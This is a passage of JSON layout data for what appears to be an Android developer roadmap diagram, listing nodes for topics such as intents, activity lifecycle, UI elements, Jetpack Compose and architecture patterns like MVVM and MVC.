49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hv_9imIQpthxEaMLXEUHI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 414.4034669074458,\n        \"y\": 632.696333609636\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Intent\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 183,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 414.4034669074458,\n        \"y\": 632.696333609636\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 183,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FVg438cVBBzqJFkGWVbQM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 603.2670925742796,\n        \"y\": 688.8587817234683\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Activity LifeCycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 603.2670925742796,\n        \"y\": 688.8587817234683\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oUjetA2eduvQIeLcQlLcu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 603.2670925742796,\n        \"y\": 741.8587817234683\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"State Changes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 603.2670925742796,\n        \"y\": 741.8587817234683\n      },\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-O-G9bg36ut8NnZcdOaop\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 603.2670925742796,\n        \"y\": 794.8587817234683\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tasks & Backstack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 603.2670925742796,\n        \"y\": 794.8587817234683\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gGdz3j33x0gfrFDp_rw8Z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 423.9034669074458,\n        \"y\": 687.9358985850918\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Implicit Intents\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 163,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 423.9034669074458,\n        \"y\": 687.9358985850918\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 163,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 163,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TmIeCF3xVCe5Sy3ITmM31\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 423.9034669074458,\n        \"y\": 740.9358985850918\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Explicit Intents\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 163,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 423.9034669074458,\n        \"y\": 740.9358985850918\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 163,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 163,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b-sfh6NoS-APqaNKm5L5S\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 423.9034669074458,\n        \"y\": 793.9358985850918\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Intent Filters\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 163,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 163,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 423.9034669074458,\n        \"y\": 793.9358985850918\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 163,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jePGzTejFe4ryA5qFFmjl\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 860.4237456884,\n        \"y\": 1097.697659852384\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Design & Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kc6buUsLAeZeUb4Tk0apM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 860.4237456884,\n        \"y\": 1097.697659852384\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Dp2DOX10u2xJUjB8Okhzh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 209.53887898054052,\n        \"y\": 927.42244273972\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frame\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 209.53887898054052,\n        \"y\": 927.42244273972\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 94,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U8iMGGOd2EgPxSuwSG39Z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 308.8618127280065,\n        \"y\": 927.42244273972\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linear\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 308.8618127280065,\n        \"y\": 927.42244273972\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 94,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yE0qAQZiEC9R8WvCdskpr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 209.53887898054052,\n        \"y\": 980.42244273972\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Relative\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 209.53887898054052,\n        \"y\": 980.42244273972\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3fFNMhQIuuh-NRzSXYpXO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 209.53887898054052,\n        \"y\": 1033.42244273972\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Constraint\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 209.53887898054052,\n        \"y\": 1033.42244273972\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xIvplWfe-uDr9iHjPT1Mx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 209.53887898054052,\n        \"y\": 1086.42244273972\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RecyclerView\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 209.53887898054052,\n        \"y\": 1086.42244273972\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZuT4JTri-tZYmZkAthnH8\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 347.5641444978062,\n        \"y\": 887.6993520650623\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 347.5641444978062,\n        \"y\": 887.6993520650623\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"08Fx-PJiotcpN6ylmgI5d\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 556.5641444978062,\n        \"y\": 879.6993520650623\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Elements\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 89,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 556.5641444978062,\n        \"y\": 879.6993520650623\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 89,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"EfxxpCCgOleZwBW5z4UA8\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 648.5641444978062,\n        \"y\": 887.6993520650623\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 648.5641444978062,\n        \"y\": 887.6993520650623\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"znvZp24L-PcQwkSObtixs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 412.2896124351306,\n        \"y\": 925.8771482860266\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TextView\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 412.2896124351306,\n        \"y\": 925.8771482860266\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2iDJrxjXOt7o2fPp2HfRl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 658.2896124351307,\n        \"y\": 924.9542651476502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fragments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 658.2896124351307,\n        \"y\": 924.9542651476502\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"boMz0HZlMAsLdCZlpUo-H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 658.2896124351307,\n        \"y\": 1030.9542651476502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"EditText\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 658.2896124351307,\n        \"y\": 1030.9542651476502\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Mtx0bY0drmaTw8sCM5YTl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 412.2896124351306,\n        \"y\": 978.8771482860266\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dialogs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 412.2896124351306,\n        \"y\": 978.8771482860266\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WhfzFOUpm0DFEj7Oeq21R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 546.2896124351307,\n        \"y\": 977.95426514765\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Buttons\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 546.2896124351307,\n        \"y\": 977.95426514765\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BVgO9n7tGlVdiS72-hFSd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 546.2896124351307,\n        \"y\": 924.95426514765\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Toast\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 546.2896124351307,\n        \"y\": 924.95426514765\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"A4rtNULX_MoV93IH1Lgqw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 412.2896124351306,\n        \"y\": 1031.8771482860266\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ImageView\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 412.2896124351306,\n        \"y\": 1031.8771482860266\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z4Tbd5ClnqCXGPGG09F-G\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 658.2896124351307,\n        \"y\": 977.9542651476502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bottom Sheet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 658.2896124351307,\n        \"y\": 977.9542651476502\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EzLjX4iRT7AxkAOsJYnSU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 546.2896124351307,\n        \"y\": 1083.95426514765\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ListView\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 546.2896124351307,\n        \"y\": 1083.95426514765\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"amTxz7mS98lkhOrNMJXG_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 412.2896124351306,\n        \"y\": 1084.8771482860266\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Drawer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 412.2896124351306,\n        \"y\": 1084.8771482860266\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pEBpXv3Jf1AzBNHlvVrG8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 546.2896124351307,\n        \"y\": 1030.95426514765\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tabs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 546.2896124351307,\n        \"y\": 1030.95426514765\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xn1VQ-xOT67ZfJJTM4r1p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 658.2896124351307,\n        \"y\": 1083.9542651476502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Animations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 658.2896124351307,\n        \"y\": 1083.9542651476502\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pntwSBbuIfYb8b7WBVfvI\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 268.5641444978062,\n        \"y\": 879.6993520650623\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Layouts\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"08Fx-PJiotcpN6ylmgI5d\"\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 268.5641444978062,\n        \"y\": 879.6993520650623\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"qVXAZzZSD9BJBw0ZJsuEm\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 209.56414449780618,\n        \"y\": 887.6993520650623\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"oldId\": \"ZuT4JTri-tZYmZkAthnH8\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 56,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": 209.56414449780618,\n        \"y\": 887.6993520650623\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 56,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 56,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"60Vm-77rseUqpMiFvp-dA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1045.3266615963507,\n        \"y\": 790.1530180045523\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Jetpack Compose\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1045.3266615963507,\n        \"y\": 790.1530180045523\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xV475jHTlLuHtpHZeXb7P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1026.3266615963507,\n        \"y\": 955.4258772853128\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"App Shortcuts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1026.3266615963507,\n        \"y\": 955.4258772853128\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o5rzmnaQeiSh9ocvfJPpK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1026.3266615963507,\n        \"y\": 1008.4258772853129\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Navigation Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1026.3266615963507,\n        \"y\": 1008.4258772853129\n      },\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Bz-BkfzsDHAbAw3HD7WCd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1048.305632371595,\n        \"y\": 1231.4012119396646\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MVI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1048.305632371595,\n        \"y\": 1231.4012119396646\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pSU-NZtjBh-u0WKTYfjk_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1150.8813646431793,\n        \"y\": 1231.4012119396646\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MVVM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1150.8813646431793,\n        \"y\": 1231.4012119396646\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aF_xFIqTjQbENtC7pkXvJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1048.9214711553075,\n        \"y\": 1284.4012119396646\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MVP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1048.9214711553075,\n        \"y\": 1284.4012119396646\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w1A6wPKSd3Yh2luuHV-aE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1151.8813646431793,\n        \"y\": 1284.4012119396646\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MVC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1151.8813646431793,\n        \"y\": 1284.4012119396646\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      